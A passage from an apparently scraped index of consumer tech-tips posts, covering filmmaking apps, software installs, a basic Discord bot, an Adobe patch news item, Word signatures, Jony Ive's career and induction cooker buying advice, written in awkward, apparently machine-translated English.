schedules, and studio management.\nWith the Movie Magic Budgeting tool, you can estimate production costs. With intuitive dashboards, it's easy to create and edit budgets for production of any size. Besides streamlining the process, it also helps you identify trouble spots in the budgeting process through report generation.\nThe application also allows you to perform complex budgeting tasks such as entering old budgets, analyzing costs, estimating facility advantages, and comparing multiple budgets.\n3. StudioBinder for Productivity   For those looking for an all-in-one tool to enhance filmmaking productivity, StudioBinder is an ideal choice. It provides customizable solutions for filmmakers to manage production workflows.\nWith this app, you can assign scripts, costumes, and props to each scene. You can categorize the contacts of everyone involved in production for quick communication. In addition, StudioBinder also allows you to schedule recording for each day.\n4. ShotDeck for filming   Want to get inspiration for your shots from the top directors and filmmakers in the entertainment industry? Use ShotDeck for a full HD collection of images from the movies. The app allows you to find reference images so you can effectively put your vision into the movie.\nIf you are a director, cinematographer, art director or title designer, you can use this app to turn your imagination into reality. Photos hosted on this platform are manually tagged with various keywords and categories so you can find what you want without worrying about missing something important.\nThis tool is beneficial for location selection, interior design, decoration arrangement, costumes, makeup, hairstyles, etc.\n5. Endcrawl for post-production   The post-production work of every film requires time and effort. Endcrawl is a tool that allows you to recognize the hard work of all the talented people involved in the film.\nAll you have to do is enter the members' names and the work they have done on this web platform. You can leave the rest to this application as it will organize the data into customizable templates.\nThere is no limit to the number of names you want to include. You can choose your favorite font, edit columns, and drag and drop the logo anywhere you want.\n6. Pond5 for stock footage   If you're looking for some stock video footage for your movie, head over to Pond5. The app has a collection of more than 20 million royalty-free photos and video clips, and the number is growing every day.\nChoose from any section to find video footage related to the desired topic. You can filter your search by selecting price range, video quality, duration, etc.\nPond5 also allows you to search through a library of similar scenes based on color or composition by uploading an image or video. In addition to footage, you can also find music, sound effects, post-production effects, and 3D models on this app.\n7. Stage 32 for social media   Social media has become the most popular way to promote movies. If you are interested in movies or other creative fields, you must be a member of Stage 32.\nIt's the largest community of buyers and content creators operating globally. Stage 32 is also known as LinkedIn for those involved in the television, theater and film industries. Currently, the app has more than 800,000 members who are creative professionals in the entertainment world.\nThe Stage 32 Lounge section of this tool allows you to discuss with thousands of community members. You can join any forum like acting, filmmaking, distribution, crowdfunding, etc. You can also advertise your work in the waiting room called Your Stage to get feedback feedback and advertising.\nmovie making apps ncG1vNJzZmismaXArq3KnmWcp51khG7DxJtkmqigqHqiuMtmnaKknaKurLHRrGSsoJ%2BquaV51Kyc\n","link":"/post/7-web-apps-all-filmmakers-should-use/","section":"post","tags":null,"title":"7 web apps all filmmakers should use"},{"body":"The fact that all free Angry Birds games on Windows Phone Store are considered a big \"Black Friday\" that Rovio is for those who are using Windows Phone.\n  \nAs you can see in the picture above all Angry Birds games are free on the Windows Phone store, if you love Angry Birds games, download them quickly before the Games are charged again.\nPeople can download this link Apps from Rovio Entertainment Ltd | Windows Phone Apps + Games Store (United States)\nncG1vNJzZmismaXArq3KnmWcp51krq24jJqloKqpYq%2BqvsOsZKCZnZrAbq3RnmSfqpWaerC6jLCgp5yfrMBuvMeopZ5lo6m8s7E%3D\n","link":"/post/all-angry-birds-games-are-free-on-windows-phone-store/","section":"post","tags":null,"title":"All Angry Birds games are free on Windows Phone Store"},{"body":"The list of products updated by Adobe security includes Adobe Experience Manager, Adobe InDesign, Adobe Illustrator, Adobe InCopy, Adobe Genuine Service, Adobe Acrobat and Reader, Magento, Adobe Creative Cloud Desktop Application, Adobe Media Encoder, Adobe After Effects, Adobe Medium and Adobe Animate.\n  According to Adobe, they have received reports that a number of attacks have been carried out by hackers targeting Adobe Reader users on Windows. These attacks exploit a zero-day vulnerability with code CVE-2021-28550. If the exploit is successful, the hacker can execute almost any command on the target's computer.\nAlthough the hacker has only targeted Adobe Reader users on Windows, the vulnerability affects Acrobat DC, Acrobat Reader DC, Acrobat 2020, Acrobat Reader 2020, Acrobat 2017, and Acrobat Reader 2017 for Windows and macOS. This critical zero-day vulnerability was discovered by an anonymous researcher and then reported to Adobe.\nIn this batch, Adobe has patched 10 critical vulnerabilities and 4 critical vulnerabilities in Adobe Acrobat and Reader, 5 critical vulnerabilities in Adobe Illustrator (from CVE-2021-21101 to CVE-2021-21105). Vulnerabilities in Illustrator also allow attackers to execute arbitrary code on the target computer.\nIn total, Adobe has resolved 43 security flaws in the just released update. Adobe recommends that users update the software listed above as soon as possible to avoid risks.\nncG1vNJzZmismaXArq3KnmWcp51ksabAxJyrnpxdmL%2BqwMicmKVlqpq%2FsLDAsmSvrZyjsrOtwaKjoqypYryvecCdppudXaeyorDEqw%3D%3D\n","link":"/post/detected-critical-zero-day-vulnerability-on-adobe-reader/","section":"post","tags":null,"title":"Detected critical zero-day vulnerability on Adobe Reader"},{"body":"Google Docs is an online application from Google, with text editing, editing, and managing functions, the ability to quickly share data makes it convenient to work. In particular, we can edit text on Google Docs by voice with high accuracy and user-saving operation.\nIn the process of working with Google Docs, you will sometimes encounter errors that cannot be typed in Google Docs. Most of that error is caused by the keyboard installed in the device, VietKey or UniKey. In this article, we will guide you how to fix the error of not typing Vietnamese with UniKey tool.\nMethod 1: Check the encoding and typing method Step 1: Open the UniKey Vietnamese keyboard control panel in your computer to check the encoding and typing method.\nStep 2: You will see two main items:\nEncoding : there are quite a few different codes but mostly use Unicode code. Typing Method : Unikey offers a variety of input methods, most of which still choose Telex.   Method 2: UniKey typing mode Step 1: Checking the UniKey icon under the Taskbar has switched to Vietnamese typing mode .\n  Method 3: Restart UniKey If you have tried the above two ways and still cannot type Vietnamese on Google Docs, then turn off UniKey and restart.\nStep 1: Right-click on the Taskbar and select Task Manager . Or you can type the key combination Ctrl + Alt + Delete or Ctrl + Shift + Esc .\n  Step 2: In the Task Manager window, select the Deatails tab. Then, scroll down and click left mouse on UniKeyNT.exe . Select End Task to turn off the program.\n  Step 3: A message dialog box appears, press End Process to complete the operation.\n  Finally, you restart the UniKey program and see if you can type Vietnamese in Google Docs yet.\nAbove are 3 ways to fix errors that can not type Vietnamese accented on Google Docs. Hopefully with this article, you can type accented Vietnamese as usual on Google Docs.\nRefer to the following articles: Some basic features of Google Docs Some tips when using Google Docs Use Pivot Table in the Google Docs Spreadsheet I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjJ6pq6eiqHqvu9Nmq7KomaO0bsLInqunmZ2awKZ5zqdkoKefnLmmecOomqw%3D\n","link":"/post/fix-errors-not-typing-vietnamese-on-google-docs/","section":"post","tags":null,"title":"Fix errors not typing Vietnamese on Google Docs"},{"body":" Being able to transfer your digital video files encoded with Xvid encoding is a convenient way for watching videos using media devices like a DVD player. There are hundreds of software that can let you do this, but most are complicated and...\nMethod 1of 2:\nBurning Xvid to DVD in Windows Using DVD Flick  Download the DVD Flick installer. First, download DVD Flick by heading to this link: http://www.dvdflick.net/download.php. You will be taken to the download page for DVD Flick. Click on the yellow 'Download DVD Flick' button, and you will be taken to a Sourceforge window. The download will then automatically start.   Launch the DVD Flick installer. Once you finish the download, click on it at the bottom of your browser window. This will launch the installer. Just keep clicking 'Next' until the installation initiates. Make sure to read all the instructions and information in the installation wizard.   Launch DVD Flick. Open DVD Flick once it's installed by double-clicking on its icon in the desktop. It is the film icon with the four yellow squares in the left. Once the software is open, you will be greeted to an extremely straightforward user interface.   Open the Settings. You will want to make sure that the settings are right before you begin. So click on the icon in the top labeled 'Project Settings.' A window should pop up, where you can tweak the settings to your liking. Under General, you can set the target size of your media (in your case, DVD). Leave it at DVD. Under the Video category, you will be able to set the format of your DVD player. For US regions, use the NTSC format under target format, and PAL for everywhere else. Under Encoding, you can set it to 'Best' if you think that the quality of your video can use some improvements, but if you're happy with the quality and want quick processing, choose 'Normal.' Click on 'Accept' to set your preferences, and you can begin making your DVD.   Look for the video file you wish to burn. Simply drag and drop the video to the DVD Flick window. You will see a yellow bar in the left side, which indicates the amount of space you have taken up relative to the target size you set earlier.   Add video information. You may want to add things like titles and chapters to your flick, so select the video in the main screen and click on 'Edit title' in the right panel. Here you will see a window with a few categories in it. Under General, you can set the name for the video, as well as the target aspect ratio of your output. You can add chapters by clicking on 'Chapters' in the left panel. You can set DVD Flick to set chapters every few minutes, as well as specify the number of chapters you wish to include in your DVD. You can also insert audio and subtitle tracks in the remaining tabs in the left. Click Accept when you are happy with your configuration.   Insert a blank DVD into your PC's CD drive.\n  Create your DVD. Make sure you have enough space in your hard drive to house the transcoded DVD file, as well as a DVD in your DVD drive inserted. Click on 'Create DVD' in the top of the DVD Flick window to begin the burning process. Now, you can sit back and do other things while waiting for your DVD to finish burning.  Method 2of 2:\nBurning Xvid to DVD in Mac Using Aimersoft DVD Creator  Download the software. Launch an Internet browser and head to Aimersoft website for Mac. Once there, click on the green 'Free Trial' button. The download should begin resulting in a DMG file called 'aimer-dvd-creator-intel_full335.dmg.'   Install the application. Do this by clicking on the 'Downloads' button in your dock, at the lower-right corner of your screen. Click on the downloaded file, and it should open a new window with the DVD Creator icon, which is a DVD with a pen running along it. Open your Finder app, and click on Applications in the left panel. Simply drag and drop the DVD Creator icon into the Applications window to install it.   Launch DVD Creator. Do this by clicking on the launchpad in your dock. A list of all the installed applications should pop out. Look for the DVD Creator, and click on it.\n  Open the video file to burn. With the DVD Creator window open, look for the video file you wish to burn into DVD by going to its directory using Finder, and dragging and dropping the file into the DVD Creator window. Alternatively, you can click the plus icon in the upper right of the application window and browser to the file using the file navigation tool. Your video should then appear in the right panel.   Edit your video. Do this by clicking on the 'Edit' button at the lower-right corner of your video's thumbnail. Here, the video will play to give you a preview. You can drag the squares around the border of the video in the left side to rescale the video as well as reposition it. Under the Effect tab, you can set various effects into the video like changing contrast, brightness, saturation, and volume levels. The Trim tab lets you set the start and end time of the video, while clicking on the scissors icon the left will let you drag points in the timeline for easier setting. The Watermark tab will let your set a custom watermark to appear in the video. The Rotate tab will allow you to set the rotation of the video output.   Select a menu template. Once you are done editing your video, you can choose a menu template by clicking on the 'Menu' button in the right side of the application window. Here, you can select between a number of menu templates that will play after you insert and play the DVD.\n  Burn your DVD. Click on the blue and black circle icon in the lower-right corner of the app screen. It will summon a pop-up window that allows you to set the name for your DVD, the burning device, burning speed, and the standard to use depending on your region. Set the region to NTSC if you are in the US, and PAL if you are elsewhere.  Insert a blank DVD into your Mac's DVD drive. Click on the 'Save' icon, and the video should then begin transcoding. After it finishes, it will burn the file into the DVD to make it playable.\n   Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqlp7tuxNWim2aumZmysL%2BMraZmnKaZ\n","link":"/post/how-to-burn-xvid-videos-to-dvd/","section":"post","tags":null,"title":"How to Burn Xvid Videos to DVD"},{"body":"Today, TipsMake.com will read with you how to do this on Raspberry Pi with Python.\nSign up for an account If you do not have an account, here's how to sign up:\n- Visit Discord.com and click Login , then select Register.\n- Fill out the following form on the website:\n Fill out the registration form - After logging in, directly create a new server.\n- Then choose the name and icon.\n Choose a name and icon You already have your account and server. Now you can move on to the next step. Don't forget to confirm your email address as it is a must for creating a bot.\nCreate an application You need to declare a new application before creating the bot:\n- Start by opening Discord's developer console by clicking here.\nIt looks like this:\n Discord's developer console - Create a new application by clicking the top right button\n- Choose a name.\nYour bot will get the application name. So, 'test' or 'myfirstapp' is probably not a good idea.\n- To create the application, you need to confirm your email.\nThe application has been created, now you can create a new bot.\n The application has been created Create a bot - Click Bot in the menu on the left.\n- Then click Add bot and accept the confirmation message.\n- A bot has been automatically created associated with your application.\nInvite bot on server The final step is to invite the bot to join your server:\n- The first thing is to access this URL:\nhttps://discord.com/api/oauth2/authorize?client_id=\u0026amp;scope=bot\u0026amp;permissions=1 Replaced with your client ID, you can find it on the application page.\n- On the page that opens, select the server to join:\n Select server to join - Click Continue.\n- Then click Authorization on the next screen.\nThe bot is already connected on the server. You can check it on your server:\n The bot is already connected on the server The Discord section is now complete, you have everything you need to start working on your Raspberry Pi.\nCode bot on Raspberry Pi The goal here is to create a 'brain' for your bot. For now, it cannot do anything.\nAfter a few prerequisites, the main part is to create a script that suits your needs.\nOperating system The example used the Raspberry Pi OS Lite to do this, but any system might be fine, because you only need Python.\nAs always, don't forget to update your system before going any further:\nsudo apt update sudo apt upgrade Prerequisite of Python You need to install several Python packages:\nsudo apt install python3-pip python3-cffi PIP is the Python extension manager and CFFI is the interface between C and Python that the library uses.\nPython 3 is required because the library does not work with earlier versions.\nSo it is python3-pip, not python-pip.\nBasically, with this command, apt will install all other necessary packages.\nThen update setuptools to make sure you have the latest version (if you have had PIP on your system before)\nsudo pip3 install -U setuptools Library To keep things simple, you will use the library to interact with Discord\nThe article I chose is Discord.py from this GitHub repository because it is very easy to use.\nTo install it, simply copy this command:\nsudo pip3 install discord.py Basic script first The article will start with a short example of how this library works, so you can check if everything in the configuration is good and move on to creating your projects.\nWhen on Raspbian Lite, for example, use Nano as an editor, but you can use the option you like.\nFor example, on the Raspberry Pi OS Desktop, you can copy and paste code in Thorny or another editor.\nOpen your editor and create a new file:\nnano MyFirstApp.py Copy and paste these lines:\nimport discord from discord.ext import commands bot = commands.Bot(command_prefix='\u0026gt;') @bot.command() async def ping(ctx): await ctx.send('pong') bot.run('token') Here is an example from the GitHub repository, see more here.\nBasically, the goal is to answer pong when someone runs the ping command.\n- The first two lines are here to import the necessary prerequisites from the library.\n- Then, the prefix to detect a command ('\u0026gt;') is declared.\n- The next block is to determine what order you are waiting for and what to do if you receive it. The syntax will be the same for each command you add later.\nFinally, the example runs the bot with these parameters.\nHere is the command to run the bot if you don't have an editor to do this:\npython3 MyFirstApp.py Change the name to match the one you created.\nThe code is fairly easy to read, and you don't need much else to do something interesting.\nIf you already have some basic knowledge in Python, you can add a few lines before the 'await' line and send a text variable instead of a static word (e.g. \u0026gt; ping =\u0026gt; 40ms to monitor the Internet or another machine) such as.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYytn55llJ7ApLvRnWSbp6RivK9506GcZqqRqL2jsdGrsGaomQ%3D%3D\n","link":"/post/how-to-create-the-discord-bot-on-the-raspberry-pi/","section":"post","tags":null,"title":"How to create the Discord bot on the Raspberry Pi"},{"body":"Downloading Google Chrome is one of the first things most people do on their computers. Google Chrome is one of the most popular applications. However, downloading Google Chrome is not a simple process.\nIf you install Google Chrome as recommended by this company, you will first download the so-called stub application. This is a very small 1MB file, downloaded to another Chrome installer, which helps you actually start downloading Chrome. If you want to download Chrome on your computer and use the same file on many other PCs to save bandwidth, you won't be able to do that, because Google Chrome downloads the file itself every time.\n  However, if you experience Data starvation, Google will have the full Chrome offline installer included with all pre-packaged files. In essence, you can download it once, run anywhere. You will not find the full Chrome offline installer through the regular download link immediately.\nIf you access this Chrome Offline Standalone Installer link, you can download the associated Chrome Installer Offline files at the same time. It is about 50MB in size and can be run without downloading anything.\nAfter downloading, please use this version of Chrome to set up a browser on all desktops.\nAlternatively, you can download this version of Chrome as a portable application, paste it on a USB drive and take it with you wherever you go.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJygoqS6pnnFrqOlZZmjwLWty6Wcq2WTnb%2BwucRmp6iqpJavrbE%3D\n","link":"/post/how-to-download-chrome-full-installer-chrome-portable/","section":"post","tags":null,"title":"How to download Chrome full installer, Chrome portable"},{"body":"One of the ways to restrict copying of Word documents, in addition to setting the password of Word documents, you can choose to insert a logo into Word or insert a signature into Word documents. Inserting a digital signature in Word will identify the owner of the document, confirm the content of the document when you need to submit it to the person through the signature below, especially as a contract or document. accuracy. We can insert a line of signatures after printing a Word document, or add digital signatures or insert certain handwritten or confirmation signatures as images. The following article will guide you how to insert a signature into Word.\nHow to insert watermark, logo sink into Excel How to create watermarks in PowerPoint How to stamp copyright on PDF files How to insert pictures into Word 2007 Instructions for inserting digital signatures in Word Step 1:\nFor documents that you want to give to someone to ask for a signature, you need to first add periodic lines to the document . We need to place the mouse where we need to autograph. Continue to click Insert\u0026gt; Add a Signature Line to add a signature line.\n  Now show the interface for us to enter the information of the person who wants to sign the signature , name, position and click OK to save.\n  Immediately the end of the text displays a section for inserting the signature as below. The section marked with an X is where the recipient enters their signature.\nNow you need to save this document and send it to the person who needs to be signed.\n  Step 2:\nWhen you receive a document that needs your signature, when you want to fill in a Word signature, you will be asked to become a Partner of Microsoft. It is quite confusing, so we will use the Selfcert tool available when installing the Microsoft Office suite.\n  Users access the following path to C: Program Files (x86) Microsoft OfficerootOffice16 .\n  Then we find Selfcert.exe file in this folder as shown below and then activate.\n  Display the interface to create a digital certificate name, enter your name and then click OK.\n  At this time, the message interface will display the name of the certificate successfully .\n  Step 3:\nNow we will return to the document to sign for confirmation.Click the signature box in the document and then display Sign interface as shown below. You enter your signature and click Sign below to sign the document.\nNote to users that if you edit the document after signing, the signature will not be valid and we must sign again.\n  Confirm the signature has been used, click OK to exit this interface.\n  As a result, you see the digital signature we signed for the Word document as shown below.\n  Step 4:\nIn case the user wants to change to an image signature , in the Sign signature insert frame, click on Select image as shown below.\n  Display the place to get the image to use as a signature, in From a file click Browse and then you find the signature image saved in the computer folder.\n  Finally click on the Sign box to sign the document.\n  Document with signed images will look like below.\n  As such, the document with the signature inserted will not be able to edit the content. If others deliberately insist on Edit Anyway, the signature will disappear, the document will not be signed for confirmation.\n  At this time, the Word interface will send warning information as shown.\n  If you press Yes to continue, the signature completely disappears, leaving only the previous signature line.\n  So we have more ways to protect the Word document, prevent others from editing and confirming ownership of the document when there is a confirmation signature from others. If you want to edit the content, you must remove the previously applied signature.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIyaZKyhl6OutcHRnmSipl2svLOw\n","link":"/post/how-to-insert-a-signature-in-word/","section":"post","tags":null,"title":"How to insert a signature in Word"},{"body":"Blender 3D produces great results and is used in professional film production. Blender 3D can be used on a variety of platforms and is available in around 34 different languages. In this tutorial, TipsMake \u0026nbsp;will show you how to install Blender 3D on Ubuntu 20.04. Similar instructions will work on Mint 20 systems as well.\nInstall Blender 3D on Ubuntu 20.04 To install Blender 3D on an Ubuntu 20.04 system, you will have to follow the steps listed here:\nStep 1: Update system Ubuntu 20.04 You need to update your Ubuntu 20.04 system before you install Blender 3D on it. This can be done with the following command:\nsudo apt-get update Once all the necessary packages on an Ubuntu 20.04 system have been successfully updated, you should see the messages shown in the image below:\n  Step 2: Install Blender 3D on Ubuntu 20.04 system You can now install Blender 3D on your Ubuntu 20.04 system with the following command:\nsudo apt install blender During the installation of this software, you will be asked to provide confirmation for this action, by typing 'y' and then pressing the Enter key as highlighted in the image below:\n Confirm Blender 3D installation on Ubuntu 20.04 system\nFinally, when Blender 3D along with all its packages and dependencies are successfully installed on an Ubuntu 20.04 system, you will see the confirmation message shown in the following image:\n  Step 3: Check the installed version of Blender 3D on Ubuntu 20.04 system You can check the Blender 3D version installed on your Ubuntu 20.04 system by executing the command shown below:\nblender --version Blender 3D version installed on Ubuntu 20.04 system in example is shown as in the following image:\n  Step 4: Launch Blender 3D on Ubuntu 20.04 system Blender 3D can be easily launched through the Ubuntu 20.04 Terminal by running the command shown below:\nblender Alternatively, you can even search for Blender in the Activities search menu and then click the Blender search result as highlighted in the following figure:\n  Once Blender 3D is successfully launched on an Ubuntu 20.04 system, your screen should look like this.\n  ubuntu Blender 3D ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmaWdnpmys3mSnWSopl2qr7a6065ka2hgaQ%3D%3D\n","link":"/post/how-to-install-blender-3d-on-ubuntu-20-04/","section":"post","tags":null,"title":"How to install Blender 3D on Ubuntu 20.04"},{"body":"As you know, WSUS (Windows Server Update Services) is a Microsoft update service, which allows companies to check for updates before installing into the live environment.\nTo install WSUS in Windows Server 2012, follow the steps below:\nStep 1 - Go to ' Server Manager ' → Manage → Add Roles and Feature → Next → Select ' Role-based or feature-Based-Installation ' → Select the server from the server pool and then click Next .\n  Step 2 - Select \" Windows Server Update Service \". A window panel will appear. Click \" Add Features \" then select Next 2 times.\n    Step 3 - Select WID Database and WSUS Services.\n  \nStep 4 - Select the link for the content. If you have a partition other than C: drive, install it there because the C: drive is at risk of being full. Select Next .\n  See more:\nHow to create a virtual machine in Windows Server 2012 How to install Hyper-V in Windows Server 2012 How to install IIS in Windows Server 2012 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmrqyto2K2r3nWoqWdp6eoerSx0a%2Bcq2ViZX5z\n","link":"/post/how-to-install-wsus-in-windows-server-2012/","section":"post","tags":null,"title":"How to install WSUS in Windows Server 2012"},{"body":"You can use any keyboard with iMac, Macbook or Mac Mini. Although Apple has its own branded keyboard, both wired and wireless, it does not restrict users to other keyboards. If you don't own an Apple keyboard, or you're using some kind of keyboard for a Windows computer, the keyboard is probably compatible with the device. You need to tell your Mac that you are using a different keyboard and it will take a bit of trial time to find the Ctrl keys and the cmd key on the keyboard. Here's how you use the Windows keyboard on a Mac.\nDefine the new keyboard Connect a Windows keyboard or any type of keyboard to your Mac. A normal keyboard, whether wired or wireless, will connect to the Mac without additional software. MacOS will automatically ask you to identify the new keyboard that you have connected, otherwise you can force the operating system to recognize the new keyboard.\nOpen System Preferences and select Keyboard . Click Change Keyboard Type . This will open the keyboard identification window. Follow the on-screen instructions to help the operating system recognize your keyboard.\n  Additional keys for Mac On a Windows keyboard or any other type of keyboard, the Mac's auxiliary keys include:\nWindows / Start key: Cmd key Shift key: Shift key Ctrl key: Alt key Alt key: Opt key   In some very rare cases, the cmd keys and opt keys can be interchangeable.\nKeys identified on Mac If you have a keyboard that you can't identify all the keys on, you should try Keyboard Tester . Access it on the Mac and touch the keys on the keyboard, then this application will detect which keys you have. When you press a key, it tells you which key you pressed. This is useful if you are using a normal keyboard type or if you have enabled keyboard layout that you do not know or do not remember adding.\n  Normal keyboard works well on iMac and Mac Mini. Mac owners often find that the compact version of the Apple keyboard doesn't really work and choose to use a regular keyboard with dedicated numeric keys and Home, End , etc. Apple has produced it. Big and cheaper keyboard. You might consider choosing if you don't want to spend too much money on hardware.\nIn addition, the market share of mechanical keyboards that Apple has not yet begun to produce is also developing very fast. If you prefer to use a Mac but want to use a mechanical keyboard, the type of keyboard used exclusively for Windows computers is the only option for you.\nSee more:\n6 ways to open virtual keyboard on Windows 10 38 great uses of the \"Windows\" key on a computer keyboard that not everyone knows How to add number keys to the Windows 10 keyboard ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq4tc2dprCrXaCyuq7OmqmdZZ%2Bjeq6twg%3D%3D\n","link":"/post/how-to-use-windows-keyboard-on-mac/","section":"post","tags":null,"title":"How to use Windows keyboard on Mac"},{"body":"Jony Ive, Apple's design director, who was responsible for designing a series of products like the iPod, iPhone, iPad, MacBook and Apple Watch will officially leave the company after 27 years of working here. Here is the interesting information about Jony Ive, who is considered Apple's \"witch\".\nJonathan Paul Ive was born on February 27, 1967 in Chingford, England, in a family with a silversmith, and his mother worked as a psychiatrist. He was diagnosed with dyslexia since he was in middle school. He graduated from design school at Northumbria University, formerly Newcastle Polytechnic.\n  In 1992, Ive joined Apple and worked as a member of the design team. His first task at Apple was the design study for Newton's personal digital assistant (PDA) second generation and MessagePad.\n  In 1997, he was promoted to senior vice president of industrial design. The first generation iMac computer launched in 1998 was the first product Ive and Jobs collaborated on. Then, iMac has achieved certain success, contributing to rebuilding Apple's position in the computer market. The late CEO Steve Jobs shared about Ive: 'He has greater executive power than anyone else except me .'\n  After that, Job and Ive constantly brought a series of new products that had a great influence in the technology world like iPod, iPhone and iPad. With new Apple products like Apple Watch, Ive also participated in monitoring during the creation and design process.\n  Currently, Ive lives in San Francisco, in a 4-bedroom house where he spent $ 17 million to buy it in 2012. The house is very special, it was designed by Willis Polk, who used to design The Palace of Fine Arts of San Francisco. Ive also owned a house in Hawaii.\n  In addition to design, cars are also one of Ive's passions. He owns the collection with many rare and expensive cars including Austin-Healey Sprite, Aston Martin DB9, Land Rover LR3, two white and black Bentley Brooklands.\n  In May 2012, Ive was knighted at Buckingham Palace by Princess Anne, the only daughter of Queen Elizabeth II for special dedication to England and the world. This is an affirmation of Ive's outstanding talent.\n  Ive also participated in many charity events. A Leica camera he designed set a record when auctioned. He also created a Jaeger-LeCoultre watch for sale in a charity auction related to AIDS.\n  In May 2015, Ive became design director at Apple.\n  From 2015-2017, Ive focused on the design of Apple's new headquarters, the Apple Park \"spacecraft\" worth up to $ 5 billion, which has been edited by him in small details. This is considered one of the greatest works of the 21st century.\n  On June 27, interviewed by Financial Times, Ive shared the reason he left Apple. He left to establish his own design company, called LoveFrom. The company is expected to launch in 2020 and the first customer is Apple.\n  ncG1vNJzZmismaXArq3KnmWcp51kt7C62Gagr52jYrK5r8itoKefXaG2p7GMsKCtm5hisLOxwK2crGWknbJutc%2BhpqedXaKupK7OqKJmmaClsqK%2BwKeang%3D%3D\n","link":"/post/jony-ive-s-exciting-life-witch-creates-the-iphone-macbook-appearance/","section":"post","tags":null,"title":"Jony Ive's exciting life, 'witch' creates the iPhone, MacBook appearance"},{"body":"Induction cooker is a product used most in hot pot restaurants as well as often purchased by families to make home hot pot.So buy any good hot pot kitchen, cheap?Let's refer to some experience to choose from the kitchen that TipsMake.com suggests for you!\ncontent Why should you use the induction hob to eat a hotpot? Experience of buying kitchen from eating good hotpot, cheap price Some products for reference Why should you use the induction hob to eat a hotpot? Induction cooker is a kind of fast heat induction cooker with Fuco induction which heats the bottom of the magnet cooker and transfers heat to the food in the pot, cooks food quickly, saves electricity, does not cause heat, burns for users.\n  The induction cooker has many outstanding advantages such as: Fast cooking speed, easy touch panel, various cooking modes and intelligent features such as timer, safety lock . Besides, the hotpot stove allows to adjust the cooking power level as you like, very convenient when used to cook hot pot or cook food.Therefore, nowadays, restaurants and families all love to use hot pot from hot pot, both fast and convenient than other types of kitchen such as mini gas stove, alcohol stove .\nExperience of buying kitchen from eating good hotpot, cheap price On the market now there are too many different types of hotpot cookers, diverse in brand, in design as well as quality, price.To choose a good magnetic stove, you need to evaluate many different factors such as: Quality, origin of the product, safety, energy saving, suitable for weather climate, suitable for demand. consumer demand.\nAbout structure A product with good components that meets new standards gives you good quality.Therefore, you should pay attention to details such as: Glass surface, wheels, radiator system, dashboard .\n  Glass: The glass is the most identifiable feature and is considered one of the most important. High-quality hot pot cookers often use monolithic glass surfaces that can withstand high temperatures, typically Schott Ceran glass. This is a ceramic-coated glass, has high scratch resistance, good bearing capacity, no deformation and cracks when meeting high temperatures, heat resistance up to 1000 ° C, withstands thermal shock 600 ~ 800 ° C. Mid-range hotpot stoves often use K + glass, which is a French brand. This is also a type of tempered glass, heat resistant, but not scratch resistant. Finally, ordinary tempered glass, this glass is produced domestically, so it is less resistant to scratches and heat resistant than the imported glass. The line from cheap hotpot cookers will often use this type of glass to save production costs for the product. Magnetic wheels : Induction Zoneless technology will automatically detect the cooking zone when placed on the stove, when using the right equipment, the kitchen will generate a magnetic field at the direct contact point is the bottom of the pot and only transfer heat to the bottom pot. Therefore, when cooking the outer surface is always cool, and you do not need to worry about issues such as placing a small pot on a large cooking area, which will consume electricity because the induction cooker only generates magnetic fields in the right place. You just put the saucepan. If the thicker and bigger the magnetic stove of the stove, the higher the capacity of the stove, shortening cooking time.High-end magnetic cookers will have more magnetic guides and thermostatic sensors to increase the life of the stove. Control panel:Priority should be given to buying products with a clearly localized Vietnamese control panel or using a simple graphic symbol to help users understand and manipulate more easily.When choosing, you should also carefully check the sensitivity, the bounce of the keys when pressing, touch buttons . to avoid having to choose products with control panel that is bottled, less sensitive. Radiator system:For hotpot stoves, you should choose a stove with a large cooling system, separate for each stove because the cooling fan is also one of the important factors that increase the life of the kitchen, At the end of operation, the cooling fan will quickly cool components such as motherboards, microchips inside the kitchen.   About capacity The most important hot pot is from boiling quickly and maintaining a constant amount of heat so that the water in the pot is always hot, helping to cook food faster and more secure.Should choose a high-capacity kitchen 1800 - 2000W because delicious hot pot needs cooking in the fastest time possible.\nAbout the sample code   \nThemost importanthot pot kitchenis to be neat, easy to move, does not take up a lot of space on the dining table, so the kitchen from the hotpot menu is often the most preferred choice.Besides, you should choose the dark kitchen so that in the process of using, overflow hot pot is also easy to clean, clean without losing the aesthetics of the kitchen.You should also choose to buy a kitchen from a hotpot with a high base, more convenient in the process of reusing heat, clean.\nAbout price and brand Currently on the market there are many different brands of magnetic cookers for you to choose, including both domestic and foreign brands;Asian and European brands.Depending on the quality of each product, the price of hotpot kitchens varies from cheap, affordable, usually from a few hundred thousand to over 1 million;The more advanced types cost about 1.5 million.Even, the kitchen from hot pot kind of good, of famous brands like Steba, Philip can cost up to more than 3 million for a single kitchen.\nIf you still do not know which hot pot kitchen is good, continue watching the suggestions in the next section of the article.\nSome products for reference Sunhouse SHD6800 Induction cooker   \nSunhouse SHD6800 hot pot kitchen with compact design with luxurious black color and exquisite pattern will surely create an impressive highlight for your kitchen space.Ultra-thin kitchen body, only 39mm with non-slip rubber-coated kitchen legs, the kitchen surface is made of tempered glass, heat resistant up to 600 degrees Celsius to ensure safety during cooking.\nReference price from the hot pot Sunhouse hot pot: 629,000 VND\nElmich ICE-7952 induction hob   \nAs a product originating from Europe, Elmich hotpot stove uses a tray made of pure copper material to help heat transfer faster to the contact surface, while also providing durability for the kitchen in the past. process of use.The product has a capacity of 2100W for strong fast cooking ability, high quality ceramic glass, safe to use with convenient touch controller will bring you the most comfort and convenience when using.\nReference price: VND 1,050,000\nNagakawa Single Cooker NAG0706 (With pot)   \nNagakawa induction cooker designs simple and elegant colors.Operating with a capacity of 1800W will support cooking for a short time, saving energy.With Nagakawa NAG0706 single stove, you can cook hot pot, fry, stir-fry, boil . The induction cooker uses 220V / 50Hz, heat-resistant glass surface, good heat resistance, easy to clean and hygienic.\nIn addition, the kitchen from the Nagakawa NAG0706 hotpot menu is also equipped with a timer system, a safety lock function essential for families with young children.In addition, the induction cooker also has a pause function when 